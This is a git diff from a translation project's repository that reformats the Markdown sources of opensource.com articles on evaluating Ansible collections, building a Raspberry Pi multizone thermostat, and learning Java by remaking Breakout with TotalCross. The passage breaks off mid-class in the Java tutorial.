Create a filter   sensu.sensu_go.filter: -    # Reuse the authentication data from before +     # Reuse the authentication data from before     auth: *auth     name: filter     action: deny     expressions: -      - event.check.interval == 10 +       - event.check.interval == 10       - event.check.occurrences == 1 ``` -#### 3\. Basic functionality +#### 3. Basic functionality Before you start using third-party Ansible content in production, always check each Ansible module's basic functionality. Probably the most critical property to look for is the result. Ansible modules and roles that enforce a state are much easier to use than their action-executing counterparts. This is because you can update your Ansible playbook and rerun it without risking a significant breakage. - ``` -\- name: Command module executes an action -> fails on re-run +- name: Command module executes an action -> fails on re-run   ansible.builtin.command: useradd demo -\- name: User module enforces a state -> safe to re-run +- name: User module enforces a state -> safe to re-run   ansible.builtin.user:     name: demo ``` You should also expect support for [check mode][12], which simulates the change without making it. If you combine check mode with state enforcement, you get a configuration drift detector for free. - ``` $ ansible-playbook --check playbook.yaml @@ -142,11 +139,11 @@ host        : ok=5    changed=2    unreachable=0    failed=0                       skipped=3        rescued=0   ignored=0 ``` -#### 4\. Implementation robustness +#### 4. Implementation robustness A robustness check is a bit harder to perform if you've never developed an Ansible module or role before. Checking the continuous integration/continuous delivery (CI/CD) configuration files should give you a general idea of what is tested. Finding `ansible-test` and `molecule` commands in the test suite is an excellent sign. -#### 5\. Maintenance +#### 5. Maintenance During your evaluation, you should also take a look at the issue tracker and development activity. Finding old issues with no response from maintainers is one sign of a poorly maintained Ansible collection. @@ -163,15 +160,15 @@ If you are thinking about creating your own Ansible Collection, you can download via: https://opensource.com/article/21/3/ansible-collections 作者:[Tadej Borovšak][a] -选题:[lujun9972][b] +选题:[lkxed][b] 译者:[译者ID](https://github.com/译者ID) 校对:[校对者ID](https://github.com/校对者ID) 本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 [a]: https://opensource.com/users/tadeboro -[b]: https://github.com/lujun9972 -[1]: https://opensource.com/sites/default/files/styles/image-full-size/public/lead-images/OSDC_women_computing_3.png?itok=qw2A18BM (Woman sitting in front of her computer) +[b]: https://github.com/lkxed +[1]: https://opensource.com/sites/default/files/lead-images/OSDC_women_computing_3.png [2]: https://docs.ansible.com/ansible/latest/collections/ansible/builtin/ [3]: https://docs.ansible.com/ansible/latest/collections/index.html#list-of-collections [4]: https://galaxy.ansible.com/sensu/sensu_go diff --git a/sources/tech/20210301 Build a home thermostat with a Raspberry Pi.md b/sources/tech/20210301 Build a home thermostat with a Raspberry Pi.md index 434e6a5796..35ec8b7951 100644 --- a/sources/tech/20210301 Build a home thermostat with a Raspberry Pi.md +++ b/sources/tech/20210301 Build a home thermostat with a Raspberry Pi.md @@ -1,36 +1,34 @@ -[#]: subject: (Build a home thermostat with a Raspberry Pi) -[#]: via: (https://opensource.com/article/21/3/thermostat-raspberry-pi) -[#]: author: (Joe Truncale https://opensource.com/users/jtruncale) -[#]: collector: (lujun9972) -[#]: translator: ( ) -[#]: reviewer: ( ) -[#]: publisher: ( ) -[#]: url: ( ) +[#]: subject: "Build a home thermostat with a Raspberry Pi" +[#]: via: "https://opensource.com/article/21/3/thermostat-raspberry-pi" +[#]: author: "Joe Truncale https://opensource.com/users/jtruncale" +[#]: collector: "lkxed" +[#]: translator: " " +[#]: reviewer: " " +[#]: publisher: " " +[#]: url: " " Build a home thermostat with a Raspberry Pi ====== -The ThermOS project is an answer to the many downsides of off-the-shelf -smart thermostats. +The ThermOS project is an answer to the many downsides of off-the-shelf smart thermostats. + ![Orange home vintage thermostat][1] -My wife and I moved into a new home in October 2020. As soon as it started getting cold, we realized some shortcomings of the home's older heating system (including one heating zone that was _always_ on). We had Nest thermostats in our previous home, and the current setup was not nearly as convenient. There are multiple thermostats in our house, and some had programmed heating schedules, others had different schedules, some had none at all. +Image by: Photo by [Moja Msanii][2] on [Unsplash][3] -![Old thermostats][2] +My wife and I moved into a new home in October 2020. As soon as it started getting cold, we realized some shortcomings of the home's older heating system (including one heating zone that was *always* on). We had Nest thermostats in our previous home, and the current setup was not nearly as convenient. There are multiple thermostats in our house, and some had programmed heating schedules, others had different schedules, some had none at all. -The home's previous owner left notes explaining how some of the thermostats worked. (Joseph Truncale, [CC BY-SA 4.0][3]) +![Old thermostats][4] + +The home's previous owner left notes explaining how some of the thermostats worked. (Joseph Truncale, CC BY-SA 4.0) It was time for a change, but the house has some constraints: - * It was built in the late 1960s with a renovation during the '90s. - * The heat is hydronic (hot water baseboard). - * It has six thermostats for the six heating zones. - * There are only two wires that go to each thermostat for heat (red and white). +* It was built in the late 1960s with a renovation during the '90s. +* The heat is hydronic (hot water baseboard). +* It has six thermostats for the six heating zones. +* There are only two wires that go to each thermostat for heat (red and white). - - -![Furnace valves][4] - -Taco (pronounced TAY-KO) zone valves at the furnace. (Joseph Truncale, [CC BY-SA 4.0][3]) +![Furnace valves][5] ### To buy or to build? @@ -38,36 +36,29 @@ I wanted "smart" thermostat control for all of the heat zones (schedules, automa **Option 1: A Nest or Ecobee** - * It's expensive: No smart thermostat can handle multiple zones, so I would need one for each zone (~$200*6 = $1,200). - * It's difficult: I would have to rerun the thermostat wire to get the infamous [C wire][5], which enables continuous power to the thermostat. The wires are 20 to 100 feet each, in-wall, and _might_ be stapled to the studs. +* It's expensive: No smart thermostat can handle multiple zones, so I would need one for each zone (~$200*6 = $1,200). +* It's difficult: I would have to rerun the thermostat wire to get the infamous [C wire][6], which enables continuous power to the thermostat. The wires are 20 to 100 feet each, in-wall, and might be stapled to the studs. +**Option 2: A battery-powered thermostat** such as the [Sensi WiFi thermostat][7] +* The batteries last only a month or two. +* It's not HomeKit-compatible in battery-only mode. -**Option 2: A battery-powered thermostat** such as the [Sensi WiFi thermostat][6] +**Option 3: A commercial-off-the-shelf thermostat**, but only one exists (kind of): [Honeywell's TrueZONE][8] - * The batteries last only a month or two. - * It's not HomeKit-compatible in battery-only mode. +* It's old and poorly supported (it was released in 2008). +* It's expensive—more than $300 for just the controller, and you need a [RedLINK gateway][9] for a shoddy app to work. - - -**Option 3: A commercial-off-the-shelf thermostat**, but only one exists (kind of): [Honeywell's TrueZONE][7]  - - * It's old and poorly supported (it was released in 2008). - * It's expensive—more than $300 for just the controller, and you need a [RedLINK gateway][8] for a shoddy app to work. - - - -And the winner is…  +And the winner is… **Option 4: Build my own!** -I decided to build my own multizone smart thermostat, which I named [ThermOS][9]. - - * It's centralized at the furnace (you need one device, not six). - * It uses the existing in-wall thermostat wires. - * It's HomeKit compatible, complete with automation, scheduling, home/away, etc. - * Anddddd it's… fun? Yeah, fun… I think. +I decided to build my own multizone smart thermostat, which I named [ThermOS][10]. +* It's centralized at the furnace (you need one device, not six). +* It uses the existing in-wall thermostat wires. +* It's HomeKit compatible, complete with automation, scheduling, home/away, etc. +* Anddddd it's… fun? Yeah, fun… I think. ### The ThermOS hardware @@ -75,79 +66,62 @@ I knew that I wanted to use a Raspberry Pi. Since they've gotten so inexpensive, Here's a full list of the parts I used: -Name | Quantity | Price ----|---|--- -Raspberry Pi 4 Model B 2GB | 1 | $29.99 -Raspberry Pi 4 official 15W power supply | 1 | $6.99 -Inland 400 tie-point breadboard | 1 | $2.99 -Inland 8 channel 5V relay module for Arduino | 1 | $8.99 -Inland DuPont jumper wire 20cm (3 pack) | 1 | $4.99 -DS18B20 temperature sensor (genuine) from Mouser.com | 6 | $6.00 -3-pin screw terminal blocks (40 pack) | 1 | $7.99 -RPi GPIO terminal block breakout board module for Raspberry Pi | 1 | $17.99 -Alligator clip test leads (10 pack) | 1 | $5.89 -Southwire 18/2 thermostat wire (50ft) | 1 | $10.89 -Shrinkwrap | 1 | $4.99 -Solderable breadboard (5 pack) | 1 | $11.99 -PCB mounting brackets (50 pack) | 1 | $7.99 -Plastic housing/enclosure | 1 | $27.92 +| Name | Quantity | Price | +| :- | :- | :- | +| Raspberry Pi 4 Model B 2GB | 1 | $29.99 | +| Raspberry Pi 4 official 15W power supply | 1 | $6.99 | +| Inland 400 tie-point breadboard | 1 | $2.99 | +| Inland 8 channel 5V relay module for Arduino | 1 | $8.99 | +| Inland DuPont jumper wire 20cm (3 pack) | 1 | $4.99 | +| DS18B20 temperature sensor (genuine) from Mouser.com | 6 | $6.00 | +| 3-pin screw terminal blocks (40 pack) | 1 | $7.99 | +| RPi GPIO terminal block breakout board module for Raspberry Pi | 1 | $17.99 | +| Alligator clip test leads (10 pack) | 1 | $5.89 | +| Southwire 18/2 thermostat wire (50ft) | 1 | $10.89 | +| Shrinkwrap | 1 | $4.99 | +| Solderable breadboard (5 pack) | 1 | $11.99 | +| PCB mounting brackets (50 pack) | 1 | $7.99 | +| Plastic housing/enclosure | 1 | $27.92 | -I began drawing out the hardware diagram on [draw.io][10] and realized I lacked some crucial knowledge about the furnace. I opened the side panel and found the step-down transformer that takes the 120V electrical line and makes it 24V for the heating system. If your heating system is anything like mine, you'll see a lot of jumper wires between the Taco zone valves. Terminal 3 on the Taco is jumped across all of my zone valves. This is because it doesn't matter how many valves are on/open—it just controls the circulator pump. If any combination of one to five valves is open, it should be on; if no valves are open, it should be off… simple! +I began drawing out the hardware diagram on [draw.io][11] and realized I lacked some crucial knowledge about the furnace. I opened the side panel and found the step-down transformer that takes the 120V electrical line and makes it 24V for the heating system. If your heating system is anything like mine, you'll see a lot of jumper wires between the Taco zone valves. Terminal 3 on the Taco is jumped across all of my zone valves. This is because it doesn't matter how many valves are on/open—it just controls the circulator pump. If any combination of one to five valves is open, it should be on; if no valves are open, it should be off… simple! -![Furnace wiring architecture][11] - -ThermOS architecture using one zone. (Joseph Truncale, [CC BY-SA 4.0][3]) +![Furnace wiring architecture][12] At its core, a thermostat is just a type of switch. Once the thermistor (temp sensor) inside the thermostat detects a lower temperature, the switch closes and completes the 24V circuit. Instead of having a thermostat in every room, this project keeps all of them right next to the furnace so that all six-zone valves can be controlled by a relay module using six of the eight relays. The Raspberry Pi acts as the brains of the thermostat and controls each relay independently. -![Manually setting relays using Raspberry Pi and Python][12] - -Manually setting the relays using the Raspberry Pi and Python. (Joseph Truncale, [CC BY-SA 4.0][3]) +![Manually setting relays using Raspberry Pi and Python][13] The next problem was how to get temperature readings from each room. I could have a wireless temperature sensor in each room running on an Arduino or Raspberry Pi, but that can get expensive and complicated. Instead, I wanted to reuse the existing thermostat wire in the walls but purely for temperature sensors. -The "1-wire" [DS18B20][13] temperature sensor appeared to fit the bill: +The "1-wire" [DS18B20][14] temperature sensor appeared to fit the bill: - * It has an accuracy of +/- 0.5°C or 0.9°F. - * It uses the "1-wire" protocol for data. - * Most importantly, the DS18B20 can use "[parasitic power][14]" mode where it needs just two wires for power and data. Just a heads up… almost all of the DS18B20s out there are [counterfeit][15]. I purchased a few (hoping they were genuine), but they wouldn't work when I tried to use parasitic power. I then bought real ones from [Mouser.com][16], and they worked like a charm! +* It has an accuracy of +/- 0.5°C or 0.9°F. +* It uses the "1-wire" protocol for data. +* Most importantly, the DS18B20 can use "[parasitic power][15]" mode where it needs just two wires for power and data. Just a heads up… almost all of the DS18B20s out there are [counterfeit][16]. I purchased a few (hoping they were genuine), but they wouldn't work when I tried to use parasitic power. I then bought real ones from [Mouser.com][17], and they worked like a charm! +![Temperature sensors][18] +Starting with a breadboard and all the components locally, I started writing code to interact with all of it. Once I proved out the concept, I added the existing in-wall thermostat wire into the mix. I got consistent readings with that setup, so I set out to make them a bit more polished. With help from my [dad][19], the self-proclaimed "just good enough" solderer, we soldered leads to the three-pin screw terminals (to avoid overheating the sensor) and then attached the sensor into the terminals. Now the sensors can be attached with wire nuts to the existing in-wall wiring. -![Temperature sensors][17] - -Three DS18B20s connected using parasitic power on the same GPIO bus. (Joseph Truncale, [CC BY-SA 4.0][3]) - -Starting with a breadboard and all the components locally, I started writing code to interact with all of it. Once I proved out the concept, I added the existing in-wall thermostat wire into the mix. I got consistent readings with that setup, so I set out to make them a bit more polished. With help from my [dad][18], the self-proclaimed "just good enough" solderer, we soldered leads to the three-pin screw terminals (to avoid overheating the sensor) and then attached the sensor into the terminals. Now the sensors can be attached with wire nuts to the existing in-wall wiring. - -![Attaching temperature sensors][19] - -The DS18B20s are attached to the old thermostat location using the existing wires. (Joseph Truncale, [CC BY-SA 4.0][3]) +![Attaching temperature sensors][20] I'm still in the process of "prettifying" my temperature sensor wall mounts, but I've gone through a few 3D printing revisions, and I think I'm almost there. -![Wall mounts][20] - -I started with a Nest-style mount and made my way to a flush-mount style. (Joseph Truncale, [CC BY-SA 4.0][3]) +![Wall mounts][21] ### The ThermOS software -As usual, writing the logic wasn't the hard part. However, deciding on the application architecture and framework was a confusing, multi-day process. I started out evaluating open source projects like [PiHome][21], but it relied on specific hardware _and_ was written in PHP. I'm a Python fan and decided to start from scratch and write my own REST API. +As usual, writing the logic wasn't the hard part. However, deciding on the application architecture and framework was a confusing, multi-day process. I started out evaluating open source projects like [PiHome][22], but it relied on specific hardware *and* was written in PHP. I'm a Python fan and decided to start from scratch and write my own REST API. -Since HomeKit integration was so important, I figured I would eventually write a [HomeBridge][22] plugin to integrate it. I didn't realize that there was an entire Python HomeKit framework called [HAP-Python][23] that implements the accessory protocol. It helped me get a proof of concept running and controlled through my iPhone's Home app within 30 minutes. +Since HomeKit integration was so important, I figured I would eventually write a [HomeBridge][23] plugin to integrate it. I didn't realize that there was an entire Python HomeKit framework called [HAP-Python][24] that implements the accessory protocol. It helped me get a proof of concept running and controlled through my iPhone's Home app within 30 minutes. -![ThermOS HomeKit integration][24] +![ThermOS HomeKit integration][25] -Initial version of Apple HomeKit integration, with help from the HAP-Python framework. (Joseph Truncale, [CC BY-SA 4.0][3]) - -![ThermOS software architecture][25] - -ThermOS software architecture (Joseph Truncale, [CC BY-SA 4.0][3]) +![ThermOS software architecture][26] The rest of the "temp" logic is relatively straightforward, but I do want to highlight a piece that I initially missed. My code was running for a few days, and I was working on the hardware, when I noticed that my relays were turning on and off every few seconds. This "short-cycling" isn't necessarily harmful, but it certainly isn't efficient. To avoid that, I added some thresholding to make sure the heat toggles only when it's +/- 0.5C°. -Here is the threshold logic (you can see the [rubber-duck debugging][26] in the comments): - +Here is the threshold logic (you can see the [rubber-duck debugging][27] in the comments): ``` # check that we want heat @@ -155,7 +129,7 @@ if self.target_state.value == 1:     # if heat relay is already on, check if above threshold     # if above, turn off .. if still below keep on     if GPIO.input(self.relay_pin): -        if self.current_temp.value - self.target_temp.value >= 0.5: +        if self.current_temp.value - self.target_temp.value >= 0.5:             status = 'HEAT ON - TEMP IS ABOVE TOP THRESHOLD, TURNING OFF'             GPIO.output(self.relay_pin, GPIO.LOW)         else: @@ -163,96 +137,87 @@ if self.target_state.value == 1:             GPIO.output(self.relay_pin, GPIO.HIGH)     # if heat relay is not already on, check if below threshold     elif not GPIO.input(self.relay_pin): -        if self.current_temp.value - self.target_temp.value <= -0.5: +        if self.current_temp.value - self.target_temp.value <= -0.5:             status = 'HEAT OFF - TEMP IS BELOW BOTTOM THRESHOLD, TURNING ON'             GPIO.output(self.relay_pin, GPIO.HIGH)         else:           status = 'HEAT OFF - KEEPING OFF' ``` -![Thresholding][27] - -Thresholding allows longer stretches of time where the heat is off. (Joseph Truncale, [CC BY-SA 4.0][3]) +![Thresholding][28] And I achieved my ultimate goal—to be able to control all of it from my phone. -![ThermOS as a HomeKit Hub][28] - -ThermOS as a HomeKit Hub (Joseph Truncale, [CC BY-SA 4.0][3]) +![ThermOS as a HomeKit Hub][29] ### Putting my ThermOS in a lunchbox My proof of concept was pretty messy. -![Initial ThermOS setup][29] +![Initial ThermOS setup][30] -ThermOS controlling a single zone (before packaging it) (Joseph Truncale, [CC BY-SA 4.0][3]) - -With the software and general hardware design in place, I started figuring out how to package all of the components in a more permanent and polished form. One of my main concerns for a permanent installation was to use a breadboard with DuPont jumper wires. I ordered some [solderable breadboards][30] and a [screw terminal breakout board][31] (thanks [@arduima][32] for the Raspberry Pi GPIO pins). +With the software and general hardware design in place, I started figuring out how to package all of the components in a more permanent and polished form. One of my main concerns for a permanent installation was to use a breadboard with DuPont jumper wires. I ordered some [solderable breadboards][31] and a [screw terminal breakout board][32] (thanks [@arduima][33] for the Raspberry Pi GPIO pins). Here's what the solderable breadboard with mounts and enclosure looked like in progress. -![ThermOS hardware being packaged][33] - -Putting the ThermOS in a lunchbox. (Joseph Truncale, [CC BY-SA 4.0][3]) +![ThermOS hardware][34] And here it is, mounted in the boiler room. -![ThermOS mounted][34] - -ThermOS mounted (Joseph Truncale, [CC BY-SA 4.0][3]) +![ThermOS mounted][35] Now I just need to organize and label the wires, and then I can start swapping the remainder of the thermostats over to ThermOS. And I'll be on to my next project: ThermOS for my central air conditioning. -* * * +Image by: (Joseph Truncale, CC BY-SA 4.0) -_This originally appeared on [Medium][35] and is republished with permission._ +*This originally appeared on [Medium][36] and is republished with permission.* -------------------------------------------------------------------------------- via: https://opensource.com/article/21/3/thermostat-raspberry-pi 作者:[Joe Truncale][a] -选题:[lujun9972][b] +选题:[lkxed][b] 译者:[译者ID](https://github.com/译者ID) 校对:[校对者ID](https://github.com/校对者ID) 本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 [a]: https://opensource.com/users/jtruncale -[b]: https://github.com/lujun9972 -[1]: https://opensource.com/sites/default/files/styles/image-full-size/public/lead-images/home-thermostat.jpg?itok=wuV1XL7t (Orange home vintage thermostat) -[2]: https://opensource.com/sites/default/files/uploads/oldthermostats.jpeg (Old thermostats) -[3]: https://creativecommons.org/licenses/by-sa/4.0/ -[4]: https://opensource.com/sites/default/files/uploads/furnacevalves.jpeg (Furnace valves) -[5]: https://smartthermostatguide.com/thermostat-c-wire-explained/ -[6]: https://www.amazon.com/Emerson-Thermostat-Version-Energy-Certified/dp/B01NB1OB0I -[7]: https://www.honeywellhome.com/us/en/products/air/forced-air-zone-panels/truezone-hz432-panel-hz432-u/ -[8]: https://www.amazon.com/Honeywell-Redlink-Enabled-Internet-THM6000R7001/dp/B0783HK9ZZ -[9]: https://github.com/truncj/thermos -[10]: http://draw.io/ -[11]: https://opensource.com/sites/default/files/uploads/furnacewiring.png (Furnace wiring architecture) -[12]: https://opensource.com/sites/default/files/uploads/settingrelays.gif (Manually setting relays using Raspberry Pi and Python) -[13]: https://datasheets.maximintegrated.com/en/ds/DS18B20.pdf -[14]: https://learn.openenergymonitor.org/electricity-monitoring/temperature/DS18B20-temperature-sensing -[15]: https://github.com/cpetrich/counterfeit_DS18B20 -[16]: https://www.mouser.com/ -[17]: https://opensource.com/sites/default/files/uploads/tempsensors.png (Temperature sensors) -[18]: https://twitter.com/jofredrick -[19]: https://opensource.com/sites/default/files/uploads/attachingsensors.jpeg (Attaching temperature sensors) -[20]: https://opensource.com/sites/default/files/uploads/wallmount.jpeg (Wall mounts) -[21]: https://github.com/pihome-shc/pihome -[22]: https://github.com/homebridge/homebridge -[23]: https://github.com/ikalchev/HAP-python -[24]: https://opensource.com/sites/default/files/uploads/iphoneintegration.gif (ThermOS HomeKit integration) -[25]: https://opensource.com/sites/default/files/uploads/thermosarchitecture.png (ThermOS software architecture) -[26]: https://en.wikipedia.org/wiki/Rubber_duck_debugging -[27]: https://opensource.com/sites/default/files/uploads/thresholding.png (Thresholding) -[28]: https://opensource.com/sites/default/files/uploads/thermoshomekit.png (ThermOS as a HomeKit Hub) -[29]: https://opensource.com/sites/default/files/uploads/unpackaged.jpeg (Initial ThermOS setup) -[30]: https://www.amazon.com/gp/product/B07ZV8FWM4/r -[31]: https://www.amazon.com/gp/product/B084C69VSQ/ -[32]: https://twitter.com/dimitri_koshkin -[33]: https://opensource.com/sites/default/files/uploads/breadboard.png (ThermOS hardware being packaged) -[34]: https://opensource.com/sites/default/files/uploads/mounted.png (ThermOS mounted) -[35]: https://joetruncale.medium.com/thermos-d089e1c4974b +[b]: https://github.com/lkxed +[1]: https://opensource.com/sites/default/files/lead-images/home-thermostat.jpg +[2]: https://unsplash.com/@mojamsanii?utm_source=unsplash&utm_medium=referral&utm_content=creditCopyText +[3]: https://unsplash.com/s/photos/thermostat?utm_source=unsplash&utm_medium=referral&utm_content=creditCopyText +[4]: https://opensource.com/sites/default/files/uploads/oldthermostats.jpeg +[5]: https://opensource.com/sites/default/files/uploads/furnacevalves.jpeg +[6]: https://smartthermostatguide.com/thermostat-c-wire-explained/ +[7]: https://www.amazon.com/Emerson-Thermostat-Version-Energy-Certified/dp/B01NB1OB0I +[8]: https://www.honeywellhome.com/us/en/products/air/forced-air-zone-panels/truezone-hz432-panel-hz432-u/ +[9]: https://www.amazon.com/Honeywell-Redlink-Enabled-Internet-THM6000R7001/dp/B0783HK9ZZ +[10]: https://github.com/truncj/thermos +[11]: http://draw.io/ +[12]: https://opensource.com/sites/default/files/uploads/furnacewiring.png +[13]: https://opensource.com/sites/default/files/uploads/settingrelays.gif +[14]: https://datasheets.maximintegrated.com/en/ds/DS18B20.pdf +[15]: https://learn.openenergymonitor.org/electricity-monitoring/temperature/DS18B20-temperature-sensing +[16]: https://github.com/cpetrich/counterfeit_DS18B20 +[17]: https://www.mouser.com/ +[18]: https://opensource.com/sites/default/files/uploads/tempsensors.png +[19]: https://twitter.com/jofredrick +[20]: https://opensource.com/sites/default/files/uploads/attachingsensors.jpeg +[21]: https://opensource.com/sites/default/files/uploads/wallmount.jpeg +[22]: https://github.com/pihome-shc/pihome +[23]: https://github.com/homebridge/homebridge +[24]: https://github.com/ikalchev/HAP-python +[25]: https://opensource.com/sites/default/files/uploads/iphoneintegration.gif +[26]: https://opensource.com/sites/default/files/uploads/thermosarchitecture.png +[27]: https://en.wikipedia.org/wiki/Rubber_duck_debugging +[28]: https://opensource.com/sites/default/files/uploads/thresholding.png +[29]: https://opensource.com/sites/default/files/uploads/thermoshomekit.png +[30]: https://opensource.com/sites/default/files/uploads/unpackaged.jpeg +[31]: https://www.amazon.com/gp/product/B07ZV8FWM4/r +[32]: https://www.amazon.com/gp/product/B084C69VSQ/ +[33]: https://twitter.com/dimitri_koshkin +[34]: https://opensource.com/sites/default/files/uploads/breadboard.png +[35]: https://opensource.com/sites/default/files/uploads/mounted.png +[36]: https://joetruncale.medium.com/thermos-d089e1c4974b diff --git a/sources/tech/20210302 Learn Java by building a classic arcade game.md b/sources/tech/20210302 Learn Java by building a classic arcade game.md new file mode 100644 index 0000000000..f5f43c98f4 --- /dev/null +++ b/sources/tech/20210302 Learn Java by building a classic arcade game.md @@ -0,0 +1,382 @@ +[#]: subject: "Learn Java by building a classic arcade game" +[#]: via: "https://opensource.com/article/21/3/java-object-orientation" +[#]: author: "Vaneska Sousa https://opensource.com/users/vaneska" +[#]: collector: "lkxed" +[#]: translator: " " +[#]: reviewer: " " +[#]: publisher: " " +[#]: url: " " + +Learn Java by building a classic arcade game +====== +Practice how to structure a project and write Java code while having fun building a fun game. + +![Learning and studying technology is the key to success][1] + +Image by: [WOCinTech Chat][2], [CC BY 2.0][3] + +As a second-semester student in systems and digital media at the Federal University of Ceará in Brazil, I was given the assignment to remake the classic Atari 2600 [Breakout game][4] from 1978. I am still in my infancy in learning software development, and this was a challenging experience. It was also a gainful one because I learned a lot, especially about applying object-oriented concepts. + +![Breakout game][5] + +I'll explain how I accomplished this challenge, and if you follow the step-by-step instructions, at the end of this article, you will have the first pieces of your own classic Breakout game. + +### Choosing Java and TotalCross + +Several of my courses use [Processing][6], a software engine that uses [Java][7]. Java is a great language for learning programming concepts, in part because it's a strongly typed language. + +Despite being free to choose any language or framework for my Breakout project, I chose to continue in Java to apply what I've learned in my coursework. I also wanted to use a framework so that I did not need to do everything from scratch. I considered using Godot, but that would mean I would hardly need to program at all. + +Instead, I chose [TotalCross][8]. It is an open source software development kit (SDK) and framework with a simple game engine that generates code for [Linux Arm][9] devices (like the Raspberry Pi) and smartphones. Also, because I work for TotalCross, I have access to developers with much more experience than I have and know the platform very well. It seemed to be the safest way and, despite some strife, I don't regret it one bit. It was very cool to develop the whole project and see it running on the phone and the [Raspberry Pi][10]. + +![Breakout remake][11] + +### Define the project mechanics and structure + +When starting to develop any application, and especially a game, you need to consider the main features or mechanics that will be implemented. I watched the original Breakout gameplay a few times and played some versions on the internet. Then I defined the game mechanics and project structure based on what I learned. + +#### Game mechanics + +1. The platform moves left or right, according to the user's command. When it reaches an end, it hits the "wall" (edge). +2. When the ball hits the platform, it returns in the opposite direction it came from. +3. Each time the ball hits a "brick" (blue, green, yellow, orange, or red), the brick disappears. +4. When all the bricks in level 01 have been destroyed, new ones appear (in the same position as the previous one), and the ball's speed increases. +5. When all the bricks in level 02 have been destroyed, the game continues without obstacles on the screen. +6. The game ends when the ball falls. + +#### Project structure + +* RunBreakoutApplication.java is the class responsible for calling the class that inherits the `GameEngine` and runs the simulator. +* Breakout.java is the main class, which inherits from the `GameEngine` class and "assembles" the game, where it will call objects, define positions, etc. +* The `sprites` package is where all the classes responsible for the sprites (e.g., the image and behavior of the blocks, platform, and ball) go. +* The `util` packages contain classes used to facilitate project maintenance, such as constants, image initialization, and colors. + +### Get hands-on with code + +First, install the [TotalCross plugin from VSCode][12]. If you are using another [integrated development environment][13] (IDE), check TotalCross's documentation for installation instructions. + +If you're using the plugin, just press `Ctrl` +`P`, type `totalcross`, and click `Create new project`. Fill in the requested information: + +* Folder name: gameTC +* ArtifactId: com.totalcross +* Project name: Breakout +* TotalCross version: 6.1.1 (or the most recent one) +* Build platforms: -Android and -Linux_arm (select the platforms you want) + +When filling in the fields above and generating the project, if you are in the `RunBreakoutApplication.java` class, right-clicking on it and clicking "run" will open the simulator, and "Hello World!" will appear on your screen if you have created your Java project with TotalCross properly. + +![HelloWorld project structure][14] + +If you have a problem, check the [documentation][15] or ask the [TotalCross community][16] on Telegram for help. + +After the project is configured, the next step is to add the project's images in `Resources` > `Sprites`. Create two packages named `util` and `sprites` to work on later. + +The structure of your project will be: + +![Project structure][17] + +### Go behind the scenes + +To make it easier to maintain the code and change the images to the colors you want to use, it's a good practice to [centralize everything by creating classes][18]. Place all of the classes for this function inside the `util` package. + +#### Constants.java + +First, create the `constants.java` class, which is where placement patterns (such as the edge between the screen and where the platform starts), speed, number of blocks, etc., reside. This is good for playing, changing numbers, and understanding where things change and why. It is a great exercise for those just starting with Java. + +``` +package com.totacross.util; + +import totalcross.sys.Settings; +import totalcross.ui.Control; +import totalcross.util.UnitsConverter; + +public class Constants { +    //Position +    public static final int BOTTOM_EDGE = UnitsConverter.toPixels(430 + Control.DP); +    public static final int DP_23 = UnitsConverter.toPixels(23 + Control.DP); +    public static final int DP_50 = UnitsConverter.toPixels(50 + Control.DP); +    public static final int DP_100 = UnitsConverter.toPixels(100 + Control.DP); + +    //Sprites +    public static final int EDGE_RACKET = UnitsConverter.toPixels(20 + Control.DP); +    public static final int WIDTH_BALL =  UnitsConverter.toPixels(15 + Control.DP); +    public static final int HEIGHT_BALL =  UnitsConverter.toPixels(15 + Control.DP); + +    //Bricks +    public static final int NUM_BRICKS = 10; +    public static final int WIDTH_BRICKS = Settings.screenWidth / NUM_BRICKS; +    public static final int HEIGHT_BRICKS = Settings.screenHeight / 32; + +    //Brick Points +    public static final int BLUE_POINT = 1; +    public static final int GREEN_POINT = 2; +    public static final int YELLOW_POINT = 3; +    public static final int DARK_ORANGE_POINT = 4; +    public static final int ORANGE_POINT = 5; +    public static final int RED_POINT = 6; +} +``` + +If you want to know more about the pixel density (DP) unit, I recommend reading the [Material Design description][19]. + +#### Colors.java + +As the name suggests, this class is where you define the colors used in the game. I recommend naming things according to the color's purpose, such as background, font color, etc. This will make it easier to update your project's color palette in a single class. + +``` +package com.totacross.util; + +public class Colors { +    public static int PRIMARY = 0x161616; +    public static int P_FONT = 0xFFFFFF; +    public static int SECONDARY = 0xE63936; +    public static int SECONDARY_DARK = 0xCE3737; +} +``` + +#### Images.java + +The `images.java` class is undoubtedly the most frequently used. + +``` +package com.totacross.util; + +import static com.totacross.util.Constants.*; +import totalcross.ui.dialog.MessageBox; +import totalcross.ui.image.Image; + + +public class Images { + +    public static Image paddle, ball; +    public static Image red, orange, dark_orange, yellow, green, blue; + +    public static void loadImages() { +        try { +            // general +            paddle = new Image("sprites/paddle.png"); +            ball = new Image("sprites/ball.png").getScaledInstance(WIDTH_BALL, HEIGHT_BALL); + +            // Bricks +            red = new Image("sprites/red_brick.png").getScaledInstance(WIDTH_BRICKS, HEIGHT_BRICKS); +            orange = new Image("sprites/orange_brick.png").getScaledInstance(WIDTH_BRICKS, HEIGHT_BRICKS); +            dark_orange = new Image("sprites/orange2_brick.png").getScaledInstance(WIDTH_BRICKS, HEIGHT_BRICKS); +            yellow = new Image("sprites/yellow_brick.png").getScaledInstance(WIDTH_BRICKS, HEIGHT_BRICKS); +            green = new Image("sprites/green_brick.png").getScaledInstance(WIDTH_BRICKS, HEIGHT_BRICKS); +            blue = new Image("sprites/blue_brick.png").getScaledInstance(WIDTH_BRICKS, HEIGHT_BRICKS); + +        } catch (Exception e) { +            MessageBox.showException(e, true); +        } +    } +} +``` + +The `getScaledInstance()` method will manipulate the image to match the values passed through the constant. Try to change these values and observe the impact on the game. + +#### Recap + +At this point, your project should look like this: + +![Project structure][20] + +### Create your first sprite + +Now that the project is structured properly, you're ready to create your first class in the sprite package: `paddle.java`, which is the platform—the user's object of interaction. + +#### Paddle.java + +The `paddle.java` class must inherit from `sprite`, which is the class responsible for objects in games. This is a fundamental concept in game engine development, so when inheriting from sprites, the TotalCross framework will already be concerned with delimiting movement within the screen, detecting collisions between sprites, and other important functions. You can check all the details in [Javadoc][21]. + +In Breakout, the paddle moves on the X-axis at a speed determined by the user's command (by touch screen or mouse movement). The `paddle.java` class is responsible for defining this movement and the sprite's image (the "face"): + +``` +package com.totacross.sprites; + +import com.totacross.util.Images; + +import totalcross.game.Sprite; +import totalcross.ui.image.ImageException; + +public class Paddle extends Sprite { +  private static 